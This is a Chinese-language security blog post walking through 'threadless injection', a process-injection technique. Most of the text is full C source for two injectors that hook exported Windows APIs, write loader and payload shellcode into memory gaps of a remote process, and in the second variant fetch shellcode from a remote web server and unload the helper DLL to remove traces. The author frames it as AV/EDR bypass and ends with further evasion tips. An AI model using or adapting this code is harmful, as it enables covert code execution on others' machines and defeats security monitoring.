基本原理及执行流程一览
无线程注入是在B-Sides Cymru 2023大会上发表的议题，是一种新型的远程注入手法，原理就是对hook的函数jump到dll的内存空隙的第一段shellcode(二次重定向功能)当中，然后再jump到第二段shellcode(真正的shellcode)执行。具体执行过程如图
第一步，注入的进程调用的被hook的API函数并重定向到我们的第一段shellcode，第二步就是执行第一段shellcode负责跳转到第二段shellcode，第三步跳转到第二段shellcode并执行，第四步返回到第一段shellcode执行跳转回到原本API函数的位置重新执行本身的功能。
threadless inject的主要绕过思路就是跟其他执行内存的方式不同，通过这种方式绕过了AV/EDR的一些检测，下面我会通过对相关代码进行讲解，来让读者们了解具体的实现细节。因为这些代码都只是POC，直接使用效果并不会太好，在文章末尾，我会说明一下这些代码的优化思路，以保证实现更好的绕过。
首先，我们需要知道什么是内存间隙，在内存中指令不是紧密无间没有孔隙的，我们可以试图寻找一些可以放下我们的shellcode的空隙来把shellcode放入进去，最后通过hook的API来重定向到这段shellcode并执行。
第一份基础代码解析
unsigned char shellcode_loader[] = {0x58, // pop rax0x48, 0x83, 0xE8, 0x05, // sub rax, 0x050x50, // push rax0x51, // push rcx0x52, // push rdx0x41, 0x50, // push r80x41, 0x51, // push r90x41, 0x52, // push r100x41, 0x53, // push r110x48, 0xB9, // mov rcx, <address> 第二段shellcode的地址0x88, 0x77, 0x66, 0x55, 0x44, 0x33, 0x22, 0x11,0x48, 0x89, 0x08, // mov [rax], rcx0x48, 0x83, 0xEC, 0x40, // sub rsp, 0x400xE8, 0x11, 0x00, 0x00, 0x00, // call <relative offset> 执行第二段shellcode0x48, 0x83, 0xC4, 0x40, // add rsp, 0x400x41, 0x5B, // pop r110x41, 0x5A, // pop r100x41, 0x59, // pop r90x41, 0x58, // pop r80x5A, // pop rdx0x59, // pop rcx0x58, // pop rax0xFF, 0xE0, // jmp rax 跳转回被hook的API函数地址0x90 // nop};弹出计算器unsigned char shellcode[] = {0x53, 0x56, 0x57, 0x55, 0x54, 0x58, 0x66, 0x83, 0xE4, 0xF0, 0x50, 0x6A,0x60, 0x5A, 0x68, 0x63, 0x61, 0x6C, 0x63, 0x54, 0x59, 0x48, 0x29, 0xD4,0x65, 0x48, 0x8B, 0x32, 0x48, 0x8B, 0x76, 0x18, 0x48, 0x8B, 0x76, 0x10,0x48, 0xAD, 0x48, 0x8B, 0x30, 0x48, 0x8B, 0x7E, 0x30, 0x03, 0x57, 0x3C,0x8B, 0x5C, 0x17, 0x28, 0x8B, 0x74, 0x1F, 0x20, 0x48, 0x01, 0xFE, 0x8B,0x54, 0x1F, 0x24, 0x0F, 0xB7, 0x2C, 0x17, 0x8D, 0x52, 0x02, 0xAD, 0x81,0x3C, 0x07, 0x57, 0x69, 0x6E, 0x45, 0x75, 0xEF, 0x8B, 0x74, 0x1F, 0x1C,0x48, 0x01, 0xFE, 0x8B, 0x34, 0xAE, 0x48, 0x01, 0xF7, 0x99, 0xFF, 0xD7,0x48, 0x83, 0xC4, 0x68, 0x5C, 0x5D, 0x5F, 0x5E, 0x5B, 0xC3};
最终shellcode拼接，将两段shellcode合并到一个result里面void ConcatArrays(unsigned char* result, const unsigned char* arr1, size_t arr1Size, const unsigned char* arr2, size_t arr2Size) {// Copy elements from the first arrayfor (size_t i = 0; i < arr1Size; ++i) {result[i] = arr1[i];}// Copy elements from the second arrayfor (size_t i = 0; i < arr2Size; ++i) {result[arr1Size + i] = arr2[i];}}
寻找内存间隙int64_t FindMemoryHole(IN HANDLE hProcess, IN void** exportedFunctionAddress, IN int size){UINT_PTR remoteAddress;BOOL foundMemory = FALSE;uint64_t exportAddress = exportedFunctionAddress;在一定偏移量范围之内寻找内存间隙for (remoteAddress = (exportAddress & 0xFFFFFFFFFFF70000) - 0x70000000;remoteAddress < exportAddress + 0x70000000;remoteAddress += 0x10000){给内存间隙直接申请一段RWX的内存LPVOID lpAddr = VirtualAllocEx(hProcess, remoteAddress, size, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);if (lpAddr == NULL){continue;}foundMemory = TRUE;break;}if (foundMemory == TRUE){printf(" [*] Found Memory Hole: %p\n", remoteAddress);return remoteAddress;}return 0;}
修改跳转地址，即第18个字节0xB9，修改为对应的地址void GenerateHook(int64_t originalInstruction){*(uint64_t*)(shellcode_loader + 0x12) = originalInstruction;printf(" [+] Hook successfully placed");}
int main(int argc, char** argv){首先获取命令行信息，声明变量if (argc != 4) {printf("\n");printf("[ERROR]: DLL, Exported Function or PID is missing!\n");printf(" [Demo Usage]: ThreadlessInject-C.exe kernelbase.dll CreateEventW 1000\n\n");return 0;}要hook的dllchar* moduleName = argv[1];要hook的函数char* exportedFunction = argv[2];PIDDWORD pid = atoi(argv[3]);BOOL rez = FALSE;int writtenBytes = 0;//Loading DLL into the processprintf("\n[*] Loading: %s\n", moduleName);获取对应dll的句柄HMODULE hModule = GetModuleHandle(argv[1]);如果获取不到，就先在本进程加载这个dllif (hModule == NULL){hModule = LoadLibraryA(argv[1]);}无法加载？异常问题无法加载，退出if (hModule == NULL){printf("[ERROR] Could not load %s\n", moduleName);return -99;}printf(" [+] Successfully loaded %s\n\n", moduleName);获取想要注入的API函数的地址printf("[*] Getting the address of %s\n", exportedFunction);void* exportedFunctionAddress = GetProcAddress(hModule, exportedFunction);if (exportedFunctionAddress == NULL){printf(" [ERROR] Could not find %s in %s\n", exportedFunction, moduleName);return -99;}printf(" [+] %s Address: 0x%p\n\n", exportedFunction, exportedFunctionAddress);获取目标进程的句柄printf("[*] Trying to open process with pid: %d\n", pid);HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);if (hProcess == NULL){printf(" [ERROR] Could not open process with pid %d\n", pid);return -99;}printf(" [+] Successfully opened process with pid %d\n\n", pid);找内存间隙printf("[*] Trying to find memory holes\n");int64_t memoryHoleAddress = FindMemoryHole(hProcess, exportedFunctionAddress, sizeof(shellcode_loader) + sizeof(shellcode));if (memoryHoleAddress == 0){printf(" [Error] Could not find memory hole\n");return -99;}获取要被hook的函数的地址// Reading content from memory address of exported functionprintf("[*] Reading bytes from the memory address of %s\n", exportedFunction);int64_t originalBytes = *(int64_t*)exportedFunctionAddress;printf(" [+] Address %p has value = %lld\n\n", exportedFunctionAddress, originalBytes);修改要跳转的地址，将shellcode修改成完全体// Implementing the hookprintf("[*] Generating hook");GenerateHook(originalBytes);将进程的某个导出函数的执行权限改成RWX//Chaning the memory protection settings of the exported function into the calling process to RWXprintf("[*] Changing the memory protection of %s to RWX\n", exportedFunction);DWORD oldProtect = 0;if (!VirtualProtectEx(hProcess, exportedFunctionAddress, 8, PAGE_EXECUTE_READWRITE, &oldProtect)){printf(" [Error] Could not change the memory protection settings\n");return -99;}printf(" [+] Successfully changed the memory protection settings of %s to RWX\n", exportedFunction);修改目标函数的指令，加入跳转指令（目标是跳转到我们的第一段shellcode）printf("[*] Trying to inject the call assembly for the exported function\n");int callPointerAddress = (memoryHoleAddress - ((UINT_PTR)exportedFunctionAddress + 5));unsigned char callFunctionShellcode[] = { 0xe8, 0, 0, 0, 0 };*(int*)(callFunctionShellcode + 1) = callPointerAddress;修改内存属性，改成RWXVirtualProtectEx(hProcess, callFunctionShellcode, sizeof(callFunctionShellcode), PAGE_EXECUTE_READWRITE, NULL);将callFunctionShellcode写入目标地址内存中if (!WriteProcessMemory(hProcess, exportedFunctionAddress, callFunctionShellcode, sizeof(callFunctionShellcode), &writtenBytes)){printf(" [Error] Could redirect %s\n", exportedFunction);return -99;}printf(" [+] Successfully modified %s function to call the custom shellcode\n", exportedFunction);// Compiling final payload and injecting the hook将两段shellcode合并到一起unsigned char payload[sizeof(shellcode_loader) + sizeof(shellcode)];ConcatArrays(&payload, &shellcode_loader, sizeof(shellcode_loader), shellcode, sizeof(shellcode));修改内存属性为RWif (!VirtualProtectEx(hProcess, memoryHoleAddress, sizeof(payload), PAGE_READWRITE, &oldProtect)){printf("[Error] Modifying the memory protection of the memory hole: %p before write\n", memoryHoleAddress);return -99;}将合并的shellcode写入到目标进程if (!WriteProcessMemory(hProcess, memoryHoleAddress, payload, sizeof(payload), &writtenBytes)){printf("[Error] Writing to the memory hole address: %p\n", memoryHoleAddress);return -99;}将合并的shellcode内存属性更改为可读可执行if (!VirtualProtectEx(hProcess, memoryHoleAddress, sizeof(payload), PAGE_EXECUTE_READ, &oldProtect)){printf("[Error] Modifying the memory protection of the memory hole: %p after write\n", memoryHoleAddress);return -99;}printf("\n[+] Injection successful, wait for your trigger function!\n");Sleep(2000);}
从下图可以看到，在没有注入时，kernelbase.dll里面没有RWX的内存，在注入之后，kernelbase.dll里面申请了一段RWX的内存
第二份代码解析
第二份与之前执行思路基本相同，区别就是把第二段shellcode放到了远程服务器，内存空隙是放在另一个dll的文本段上（这可能是比较不错的寻找内存间隙的思路，但也要看AV/EDR的容忍度，毕竟要远程加载一个dll，还要对他的内存做出一些修改），具体内容如下
int wmain(int argc, wchar_t** argv) {if (argc != 8) {printf("\n\tUsage:\n\t\tD1rkInject.exe <resource> \n\n");return -1;}声明命令行变量wchar_t* whost = argv[1];host地址DWORD port = _wtoi(argv[2]);端口wchar_t* wresource = argv[3];路径DWORD pid = _wtoi(argv[4]);pidwchar_t* wInjectedLoadedModuleName= argv[5];要注入的dll名称chakra.dllwchar_t* wHookedModuleName = argv[6];被注入的dll名称 ntdll.dllwchar_t* wHookedApiName = argv[7];api名getdata函数获取shellcodeDATA shellcode = GetData(whost, port, wresource);if (shellcode.data == NULL) {printf("[-] Failed to get remote shellcode (%u)\n", GetLastError());return -1;}printf("\n[+] shellcode @ %p (%d bytes)\n", shellcode.data, shellcode.len);获取目标进程的句柄HANDLE hproc = OpenProcess(PROCESS_ALL_ACCESS, NULL, pid);GetRXhole函数获取RX的内存空隙(从注入的charka.dll中）LPVOID RX_hole_addr = GetRXhole(hproc, wInjectedLoadedModuleName, shellcode.len);if (RX_hole_addr == NULL) {printf("[-] Failed to find a hole (%u)\n", GetLastError());return -1;}printf("[+] RX_hole_addr in %ws is @ %p\n", wInjectedLoadedModuleName, RX_hole_addr);InjectThatMTF函数，将shellcode注入到charka.dll中if(!InjectThatMTF(hproc, RX_hole_addr, shellcode, wHookedModuleName, wHookedApiName)) {printf("[+] Failed to inject %ws or Hook %ws\n", wInjectedLoadedModuleName, wHookedApiName);return -1;}printf("[+] %ws of the Target process with PID : %d is injected at address with the HookCode + Shellcode : %p\n", wInjectedLoadedModuleName, pid, RX_hole_addr);char input1[100];do {printf("[+] Enter \"APT stands for Are You Pretending To-hack?\" if you got a callback to Change hooked API protection from RWX => RX\n");fgets(input1, sizeof(input1), stdin);input1[strcspn(input1, "\n")] = 0;} while (strcmp(input1, "APT stands for Are You Pretending To-hack?") != 0);DWORD oldProtect = 0;size_t len = wcslen(wHookedApiName) + 1;char* APIName = (char*)malloc(len);size_t convertedChars = 0;wcstombs_s(&convertedChars, APIName, len, wHookedApiName, _TRUNCATE);获取ntdll的目标API函数地址FARPROC apiAddr = GetProcAddress(GetModuleHandle(wHookedModuleName), APIName);更改内存权限为RXif (!VirtualProtectEx(hproc, apiAddr, 8, PAGE_EXECUTE_READ, &oldProtect)) {printf("Failed to change memory protection.\n");return FALSE;}char input2[100];do {printf("[+] Enter \"APT stands for Advanced Persistence Tomato\" to Unload the Infected %ws to remove any IOC\n", wInjectedLoadedModuleName);fgets(input2, sizeof(input2), stdin);input2[strcspn(input2, "\n")] = 0;} while (strcmp(input2, "APT stands for Advanced Persistence Tomato") != 0);注入内存后从目标进程中取消加载的charka.dllif (!UnloadModule(hproc, wInjectedLoadedModuleName)) {printf("[+] Failed to Unload %ws\n in the target process\n", wInjectedLoadedModuleName);return -1;}printf("[+] %ws Unloaded successfully\n", wInjectedLoadedModuleName);return 0;}
BOOL InjectThatMTF(HANDLE hProc, LPVOID RX_hole_addr,DATA shellcode, wchar_t* wModuleName, wchar_t* wAPIName) {用来做hook的shellcode// will load the shellcode and revert the hooked APIchar HookCode[] = {0x58, // pop rax0x48, 0x83, 0xE8, 0x05, // sub rax,0x50x50, // push rax0x51, // push rcx0x52, // push rdx0x41, 0x50, // push r80x41, 0x51, // push r90x41, 0x52, // push r100x41, 0x53, // push r110x48, 0xB9, 0x88, 0x77, 0x66, // movabs rcx,0x11223344556677880x55,0x44, 0x33, 0x22, 0x11,0x48, 0x89, 0x08, // mov QWORD PTR [rax],rcx0x48, 0x83, 0xEC, 0x40, // sub rsp,0x400xE8, 0x11, 0x00, 0x00, 0x00, // call shellcode0x48, 0x83, 0xC4, 0x40, // add rsp,0x400x41, 0x5B, // pop r110x41, 0x5A, // pop r100x41, 0x59, // pop r90x41, 0x58, // pop r80x5A, // pop rdx0x59, // pop rcx0x58, // pop rax0xFF, 0xE0, // jmp rax0x90 // nop};/*change 0x1122334455667788 in HookCode withthe Original 8 bytes of APIName opcodes*/size_t len = wcslen(wAPIName) + 1;char* APIName = (char*)malloc(len);size_t convertedChars = 0;wcstombs_s(&convertedChars, APIName, len, wAPIName, _TRUNCATE);获取目标dll的api函数地址// get address of the functionFARPROC apiAddr = GetProcAddress(GetModuleHandle(wModuleName), APIName);if (apiAddr == NULL) {free(APIName);printf("Failed to get the address of the function.\n");return FALSE;}读取目标API的前八个字节的内容// read 8 bytes from the start of the functionunsigned char originalOpcodes[8];if (!ReadProcessMemory(hProc, apiAddr, &originalOpcodes, sizeof(originalOpcodes), NULL)) {free(APIName);printf("Failed to read the original opcodes.\n");return FALSE;}替换原始shellcode的跳转地址// replace the placeholder in the hook code with the original opcodesmemcpy(HookCode + 18, originalOpcodes, sizeof(originalOpcodes));/*update "call shellcode"in HookCode*/计算到目标shellcode地址的偏移量// calculate the relative offset from the call instruction to the target addressDWORD offset = (DWORD)((char*)RX_hole_addr - (char*)(HookCode + sizeof(HookCode)));替换地址// replace the placeholder offset in the hook code with the calculated offsetmemcpy(HookCode + 39, &offset, sizeof(offset));/*Hook the loaded moduleswith the HookCode + Shellcode*/将这段内存改成RWXDWORD oldProtect;// Change the protection of the memory region to RWXif (!VirtualProtectEx(hProc, RX_hole_addr, sizeof(HookCode) + shellcode.len, PAGE_EXECUTE_READWRITE, &oldProtect)){printf("VirtualProtectEx failed (%u)\n", GetLastError());return FALSE;}把第一段shellcode写入到内存间隙中// Write the HookCode into the memory regionSIZE_T bytesWritten;if (!WriteProcessMemory(hProc, RX_hole_addr, HookCode, sizeof(HookCode), &bytesWritten)){printf("WriteProcessMemory failed (%u)\n", GetLastError());return FALSE;}将第二段shellcode写入到内存间隙中// Write the shellcode into the memory region right after the HookCodeif (!WriteProcessMemory(hProc, (LPBYTE)RX_hole_addr + sizeof(HookCode), shellcode.data, shellcode.len, &bytesWritten)){printf("WriteProcessMemory failed (%u)\n", GetLastError());return FALSE;}修改为原来的内存属性// Restore the original protection of the memory regionif (!VirtualProtectEx(hProc, RX_hole_addr, sizeof(HookCode) + shellcode.len, oldProtect, &oldProtect)){printf("VirtualProtectEx failed (%u)\n", GetLastError());return FALSE;}/*Hook the API with call RX_hole_addr*/在目标函数处设立一个跳转// Create a call instruction which jumps to RX_hole_addr.unsigned char callInstruction[5] = { 0xE8, 0x00, 0x00, 0x00, 0x00 };offset = (DWORD)((char*)RX_hole_addr - ((char*)apiAddr + sizeof(callInstruction)));memcpy(callInstruction + 1, &offset, sizeof(offset));// Replace the first instruction of the API function with our call instruction.oldProtect = 0;修改目标API地址的这段内存属性为RWXif (!VirtualProtectEx(hProc, apiAddr, 8, PAGE_EXECUTE_READWRITE, &oldProtect)) {printf("Failed to change memory protection.\n");return FALSE;}把跳转指令写进去bytesWritten = 0;if (!WriteProcessMemory(hProc, apiAddr, callInstruction, sizeof(callInstruction), &bytesWritten)) {printf("Failed to write the new instruction.\n");return FALSE;}if (bytesWritten != sizeof(callInstruction)) {printf("Failed to write the full instruction.\n");return FALSE;}return TRUE;}
总体上的内容就是获取web服务器上的shellcode，具体代码不做解释了DATA GetData(wchar_t* whost, DWORD port, wchar_t* wresource) {DATA data;std::vector<unsigned char> buffer;DWORD dwSize = 0;DWORD dwDownloaded = 0;LPSTR pszOutBuffer = NULL;BOOL bResults = FALSE;HINTERNET hSession = NULL,hConnect = NULL,hRequest = NULL;// Use WinHttpOpen to obtain a session handle.hSession = WinHttpOpen(L"WinHTTP Example/1.0",WINHTTP_ACCESS_TYPE_DEFAULT_PROXY,WINHTTP_NO_PROXY_NAME,WINHTTP_NO_PROXY_BYPASS, 0);// Specify an HTTP server.if (hSession)hConnect = WinHttpConnect(hSession, whost,port, 0);elseprintf("Failed in WinHttpConnect (%u)\n", GetLastError());// Create an HTTP request handle.if (hConnect)hRequest = WinHttpOpenRequest(hConnect, L"GET", wresource,NULL, WINHTTP_NO_REFERER,WINHTTP_DEFAULT_ACCEPT_TYPES,NULL);elseprintf("Failed in WinHttpOpenRequest (%u)\n", GetLastError());// Send a request.if (hRequest)bResults = WinHttpSendRequest(hRequest,WINHTTP_NO_ADDITIONAL_HEADERS,0, WINHTTP_NO_REQUEST_DATA, 0,0, 0);elseprintf("Failed in WinHttpSendRequest (%u)\n", GetLastError());// End the request.if (bResults)bResults = WinHttpReceiveResponse(hRequest, NULL);else printf("Failed in WinHttpReceiveResponse (%u)\n", GetLastError());// Keep checking for data until there is nothing left.if (bResults)do{// Check for available data.dwSize = 0;if (!WinHttpQueryDataAvailable(hRequest, &dwSize))printf("Error %u in WinHttpQueryDataAvailable (%u)\n", GetLastError());// Allocate space for the buffer.pszOutBuffer = new char[dwSize + 1];if (!pszOutBuffer){printf("Out of memory\n");dwSize = 0;}else{// Read the Data.ZeroMemory(pszOutBuffer, dwSize + 1);if (!WinHttpReadData(hRequest, (LPVOID)pszOutBuffer,dwSize, &dwDownloaded))printf("Error %u in WinHttpReadData.\n", GetLastError());else {buffer.insert(buffer.end(), pszOutBuffer, pszOutBuffer + dwDownloaded);}delete[] pszOutBuffer;}} while (dwSize > 0);if (buffer.empty() == TRUE){printf("Failed in retrieving the Shellcode");}// Report any errors.if (!bResults)printf("Error %d has occurred.\n", GetLastError());// Close any open handles.if (hRequest) WinHttpCloseHandle(hRequest);if (hConnect) WinHttpCloseHandle(hConnect);if (hSession) WinHttpCloseHandle(hSession);size_t size = buffer.size();char* bufdata = (char*)malloc(size);for (int i = 0; i < buffer.size(); i++) {bufdata[i] = buffer[i];}data.data = bufdata;data.len = size;return data;}
DWORD prevOffset = 0;生成一个随机的偏移量方便后面寻找内存间隙DWORD get_random_offset(DWORD maxOffset) {DWORD newOffset = rand() % maxOffset;while ((newOffset > prevOffset ? newOffset - prevOffset : prevOffset - newOffset) < MIN_GAP) {newOffset = rand() % maxOffset;}prevOffset = newOffset;return newOffset;}确保dll已经注入到目标进程的内存里面了// Check if a module is loaded in a process's address spaceBOOL IsModuleLoaded(HANDLE hProcess, wchar_t* wInjectedLoadedModule) {HMODULE hMods[1024];DWORD cbNeeded;unsigned int i;wchar_t szModName[MAX_PATH];if (EnumProcessModules(hProcess, hMods, sizeof(hMods), &cbNeeded)) {for (i = 0; i < (cbNeeded / sizeof(HMODULE)); i++) {if (GetModuleBaseNameW(hProcess, hMods[i], szModName, sizeof(szModName) / sizeof(TCHAR))) {if (wcscmp(szModName, wInjectedLoadedModule) == 0) {return TRUE;}}}}return FALSE;}从这个进程中获取chakra.dll的handle// Get a module handle from the processHMODULE GetRemoteModuleHandle(HANDLE hProcess, wchar_t* wInjectedLoadedModule) {HMODULE hMods[1024];DWORD cbNeeded;unsigned int i;wchar_t szModName[MAX_PATH];if (EnumProcessModules(hProcess, hMods, sizeof(hMods), &cbNeeded)) {for (i = 0; i < (cbNeeded / sizeof(HMODULE)); i++) {if (GetModuleBaseNameW(hProcess, hMods[i], szModName, sizeof(szModName) / sizeof(TCHAR))) {if (wcscmp(szModName, wInjectedLoadedModule) == 0) {return hMods[i];}}}}return NULL;}找到一个RX的内存空隙（从chakra.dll中查找，即使更改文本节内存里面的内容，也不会导致崩溃）LPVOID GetRXhole(HANDLE hProcess, wchar_t* wInjectedLoadedModuleName, size_t shellcodeLen) {if (!IsModuleLoaded(hProcess, wInjectedLoadedModuleName)) {LPVOID RXspot = NULL;内存大小SIZE_T mdlSize = (wcslen(wInjectedLoadedModuleName) + 1) * sizeof(wchar_t);PTHREAD_START_ROUTINE pLoadLibrary = NULL;获取kernel32.dll的句柄pLoadLibrary = (PTHREAD_START_ROUTINE)GetProcAddress(GetModuleHandleA("Kernel32.dll"), "LoadLibraryW");if (!pLoadLibrary) {printf("Failed to get LoadLibrary Address (%u)\n", GetLastError());return NULL;}申请一段可读可写的内存PVOID mdlStrAlloc = VirtualAllocEx(hProcess, NULL, 0x1000, MEM_COMMIT, PAGE_READWRITE);if (!mdlStrAlloc) {printf("Failed to Allocate mem in the remote process (%u)\n", GetLastError());return NULL;}printf("[+] mdlStrAlloc : %p\n", mdlStrAlloc);将当前进程的内存复制到目标进程的内存中BOOL writeStatus = WriteProcessMemory(hProcess, mdlStrAlloc, (LPVOID)wInjectedLoadedModuleName, mdlSize, NULL);if (!writeStatus) {printf("Failed to Write to the allocated mem (%u)\n", GetLastError());return NULL;}创建远程线程HANDLE hthread = CreateRemoteThread(hProcess, NULL, 0, pLoadLibrary, mdlStrAlloc, 0, NULL);if (!hthread) {printf("Failed to create remote thread (%u)\n", GetLastError());return NULL;}// Wait for the remote thread to finishWaitForSingleObject(hthread, INFINITE);//检测线程是否存在// Check the thread exit codeDWORD exitCode;if (!GetExitCodeThread(hthread, &exitCode)) {printf("Failed to get exit code (%u)\n", GetLastError());CloseHandle(hthread);return FALSE;}CloseHandle(hthread);获取dll基址的指针PVOID mdlBaseAddr = LoadLibrary(wInjectedLoadedModuleName);if (!mdlBaseAddr) {printf("[!] Failed to resolve the remote module addr\n");return NULL;}IMAGE_DOS_HEADER* DOS_HEADER = (IMAGE_DOS_HEADER*)mdlBaseAddr;IMAGE_NT_HEADERS* NT_HEADER = (IMAGE_NT_HEADERS*)((DWORD64)mdlBaseAddr + DOS_HEADER->e_lfanew);IMAGE_SECTION_HEADER* SECTION_HEADER = IMAGE_FIRST_SECTION(NT_HEADER);LPVOID txtSectionBase = (LPVOID)((DWORD64)mdlBaseAddr + (DWORD64)SECTION_HEADER->PointerToRawData);DWORD txtSectionSize = SECTION_HEADER->SizeOfRawData;如果找到的内存间隙小于第二段shellcode长度if (txtSectionSize < shellcodeLen) {printf("[-] Choose Another Module with a large \".text\" section\n");return NULL;}// Initialize random seedsrand((unsigned)time(NULL));确认这段RX内存的地址DWORD randomOffset = get_random_offset(txtSectionSize - shellcodeLen);printf("[+] randomOffset %d\n", randomOffset);RXspot = (LPVOID)((DWORD64)txtSectionBase + randomOffset);return RXspot;}else {printf("[!] %ws is already loaded in the target process\n", wInjectedLoadedModuleName);return NULL;}}取消加载到目标进程中的dll// Unload a module from a processBOOL UnloadModule(HANDLE hProcess, wchar_t* wInjectedLoadedModule) {HMODULE hMod = GetRemoteModuleHandle(hProcess, wInjectedLoadedModule);if (hMod == NULL) {printf("Module not found.\n");return FALSE;}// Get address of FreeLibrary in kernel32.dllLPVOID FreeLibraryAddr = (LPVOID)GetProcAddress(GetModuleHandleA("kernel32.dll"), "FreeLibrary");if (FreeLibraryAddr == NULL) {printf("Failed to get address of FreeLibrary (%u)\n", GetLastError());return FALSE;}释放这段远程线程的内存// Call FreeLibrary in the context of the remote processHANDLE hThread = CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)FreeLibraryAddr, hMod, 0, NULL);if (hThread == NULL) {printf("Failed to create remote thread (%u)\n", GetLastError());return FALSE;}// Wait for the remote thread to finishWaitForSingleObject(hThread, INFINITE);// Check the thread exit codeDWORD exitCode;if (!GetExitCodeThread(hThread, &exitCode)) {printf("Failed to get exit code (%u)\n", GetLastError());CloseHandle(hThread);return FALSE;}CloseHandle(hThread);if (!IsModuleLoaded(hProcess, wInjectedLoadedModule)) {return TRUE;}return FALSE;}
从下图可以看到成功注入了chakra.dll
改进思路
第一段shellcode功能比较简单，很容易作为IOC进行检测，对这段shellcode进行一定的优化，加入一些混淆指令
hookAPI的方式是最简单的修改指令，更换为更加隐蔽的hook方法，比如硬件断点等
申请RWX是非常敏感的行为，可以先RW再RX
用更加隐蔽的调用链条，使用一些冷门的API函数
可以做成BOF，思路大差不差
Reference：
https://github.com/lsecqt/ThreadlessInject-C/blob/main/ThreadlessInject-C/ThreadlessInject-C.c
https://github.com/SaadAhla/D1rkInject/tree/main
https://www.youtube.com/watch?v=z8GIjk0rf
作者：n1ji1
原文链接：https://xz.aliyun.com/t/14512
